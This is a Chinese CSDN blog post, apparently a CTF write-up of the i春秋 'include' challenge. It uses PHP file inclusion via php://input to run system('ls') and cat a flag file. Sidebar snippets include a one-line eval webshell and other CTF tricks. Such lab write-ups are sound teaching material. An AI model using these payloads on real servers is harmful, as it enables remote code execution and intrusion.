i春秋-web-include

最新推荐文章于 2020-06-30 17:16:39 发布
最新推荐文章于 2020-06-30 17:16:39 发布
阅读量526 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41173457/article/details/82949701
版权

phpinfo内容
发现allow_url_include开启
即允许php://input的形式，并将post的数据，作为php代码执行
?path=php://input
post:<?php system("ls");?>
得到
dle345aae.php index.php phpinfo.php
猜测flag应该在dle345aae.php里面
post:<?php system("cat dle345aae.php");?>
查看源代码 发现flag

woy66
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java-Web简答题.docx
11-24
Java-Web 简答题 Java-Web 简答题是一份涵盖 Java-Web 相关知识的题库，涵盖了 JSP、Servlet、数据库等方面的知识。以下是对题库中所涉及的知识点进行的详细解释： JSP 内置对象 JSP 中有多个内置对象，分别是： ...
Web include ＜=＞ i春秋
LYJ20010728的博客
01-19 272
题目给的源码 <?php show_source(__FILE__); if(isset($_REQUEST['path'])){ include($_REQUEST['path']); }else{ include('phpinfo.php'); } 首先，试了试直接?path=flag.php没有回显。 然后通过phpinfo给出的内容allow_url_include处于打开状态，想到利用php的伪协议。 用?path=php://input，然后POST进一段话<?
i春秋 WEB include
A_dmin的博客
06-12 1545
i春秋 WEB include 一天一道CTF题目，能多不能少 打开网页发现源码，而且什么都没有过滤~： <?php show_source(__FILE__); if(isset($_REQUEST['path'])){ include($_REQUEST['path']); }else{ include('phpinfo.php'); } 还出现phpinfo页面： ...
i春秋CTF训练 Web include
椰奶冻不安全的博客
06-30 1220
Web include 题目内容：没错！就是文件包含漏洞。 链接需到ichunqiu网站申请 页面显示出了phpinfo.php的信息以及php源码 <?php show_source(__FILE__); if(isset($_REQUEST['path'])){ include($_REQUEST['path']); }else{ include('phpinfo.php'); } 发现可以直接对path进行利用，构造path=php://input，同时post : &
i 春秋 web 题 <include>
慢慢变小佬的博客
08-22 2009
打开链接地址：http://454e308408314446b0961f6226b502e7ad8cd9afd5614658.game.ichunqiu.com/ 题题目中以给出提示，这是文件包含题，打开题目链接后出现： 代码中包含一个phpinfo.php文件，试着去打开这个文件，什么也没有发现。而且可以发现改代码是没有防护的文件包含。 既然是关于php的，可以使用php协议 在该链接下...
web文件包含 i春秋 code题目
qq_30435981的博客
07-31 1823
网站链接打开来是一张图片，查看源码是没用的base64码，我们可以利用文件包含读一下index.php这文件的代码，/index.php?jpg=index.php,查看代码是base64码，经过base64-Encode,发现是一段函数。 &lt;?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ he...
JSP.rar_web-inf
09-23
JSP（JavaServer Pages）是Java平台上的一个重要技术，它用于创建动态网页和Web应用程序。JSP是由Sun Microsystems公司推出的，现在已成为Oracle公司的一部分，是Java EE（Enterprise Edition）的一部分。JSP的核心...
tesseract-3.02.02-win32-lib-include-dirs（源文件）.zip
02-29
tesseract-3.02.02-win32-lib-include-dirs(SDK) tesseract-3.02.02-win32-lib-include-dirs(SDK) tesseract-3.02.02-win32-lib-include-dirs(SDK) tesseract-3.02.02-win32-lib-include-dirs(SDK)
webpack-merge-and-include-globally:合并多个文件（js，css ..）并“按原样”运行以包含它们。 支持通过自定义转换和通配符路径进行缩小
05-01
npm install --save-dev webpack-merge-and-include-globally 用法 假设您想使诸如jquery ， moment （包括3种语言）和toastr在全球范围内可用，而您正在努力通过webpack使它们成为全局库，或者只是因为require（）...
html-include-element：轻松在页面中包含外部HTML
02-03
<html-include> 轻松地在页面中包含外部HTML。 总览 <...是一个Web组件，可获取HTML并将其包含到您的页面中。 ...与任何框架一起使用，或者根本不与任何框架一起使用。...npm i html-include-element
春秋web题目解题及思路汇总（自用搜集）
Devil_B的博客
05-12 1325
(Misc-Web)爆破-2 <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); 题目知识点： file_get_contents(path)函数，获得指定路径下的文件内容，以字符串的形式返回出来。 eval(str)函数，把括号里的字符串，当作php命令来执行。 解题思路： 这一题，把一个file_get_contents()函数命令赋值给$a传入var
i春秋做题记录 web(一)
未完成的歌~的博客
11-03 1500
前言： 时间过的真快呀，一转眼半学期就过去了(￣m￣）；攻防世界上的题差不多刷完了(剩下的都是不会的(T_T))，这周就来做做I春秋的题吧。 1、想怎么传就怎么传，就是这么任性。 2、出题人就告诉你这是个注入，有种别走！ 3、这个真的是爆破。 4、没错！就是文件包含漏洞
i春秋WEB CTF 1
cbhjerry的博客
10-23 1717
题1：爆破-1，flag就在某六位变量中 &lt;?php include"flag.php"; $a=@$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a)){ die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?&gt; 解题：URL/?hello=GLO...
i春秋在线挑战详细攻略-《你是会员吗》
wodafa的博客
03-15 5075
试验地址：http://www.ichunqiu.com/racing/54399 实验平台：i春秋 Step 0 实验环境 操作机：Windows XP [172.16.11.2] 目标网址：www.test.ichunqiu  [172.16.12.2] 实验工具：中国菜刀 实验目标：获取www.test.ichunqiu网站的FLAG信息，学习一些简单的提权方式
i春秋-渗透测试入门-你是会员吗？-解题思路
vspiders的博客
08-25 2339
这个题目还是有点意思，应该有很多种方案，这里我提供一种。 首先进入网站，发现是xdcms系统，然后其存在变量覆盖漏洞。 利用该漏洞可以拿到管理员账号密码。 之后进入后台，这里有个小技巧，在登陆界面或者后台界面存在文件包含漏洞。 找个上传点随便上传一个木马图片，获取木马图片路径 之后利用文件包含漏洞包含此木马路径，菜刀连之即可。
i春秋 upload
慢慢变小佬的博客
08-11 1784
 打开题目链接： 可以随意上传文件， 上传图片，txt文件，php文件等都能上传上去； 试着上传一句话； 当上传一句话木马时，上传成功后，原文件变成了如下： 把&lt;?和php过滤掉了，再上传另一个一句话；  &lt;script language="PHP"&gt;  @eval($_POST["code"]); &lt;/script&gt; 上传后连接菜刀；   ...
i春秋-Web(一)
qwzf
09-02 1350
前言 做了几道i春秋的Web题，所以总结一下。 Web1：爆破-1 题目提示：某六位变量。查看题目，发现是代码审计 <?php include "flag.php"; $a = @$_REQUEST['hello'];//以get或post传入hello，并赋值给`$a` if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头，$表示结束。\w表示匹...
i春秋之戏说春秋
NeverLand
02-14 1211
闲着无聊看到~就把这套题目做了下来，花了50min。恍然间，想起以前。——谨此纪念我的2007年至2010年。永爱。 1、图穷匕首见 方法：把卷轴图片保存下来：3.jpg，然后用记事本打开，到后面发现一段url代码，用url解码一下，就发现，密码是：芝麻开门。 2、纸上谈兵 方法：审查元素。看到一句话：通关秘钥是一个贝丝第64代的人设计的，你能解开它吗？5be05ouJ5b
i春秋之春秋争霸
NeverLand
02-14 2704
这套题其实涉及技术方面比较少，都是些脑洞题，关键点是要学会思考题意+百度吧。感觉这套题出的没有戏说春秋好，不难，花了半小时（时间都在试+baidu上）~ 第一关 一看~洛书~然后就没有然后了~ 答案：15 第二关 根据提示还是洛书相关，四位全是[阴，阳]的密码。洛书的答案是15，想到大圈小圈，可能是二进制，15的二进制是1111，对比阴阳，1=阳，0=阴。
--include-databases=%
最新发布
04-29
--include-databases=%是MySQL命令行工具中的一个参数选项，用于指定数据库的名称或名称模式。其中，%表示匹配所有数据库。 使用该选项可以在备份数据库时仅备份指定的数据库，而不是备份所有数据库。例如，如果想要仅备份名称以test开头的数据库，可以使用--include-databases=test%参数选项。 该选项还可以与其他选项如--exclude-databases、--ignore-table等一起使用，以更加灵活地控制备份的范围和内容。 需要注意的是，--include-databases=%选项会包括系统数据库，如mysql和information_schema，因此在使用时需要谨慎，以免备份不必要的内容。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值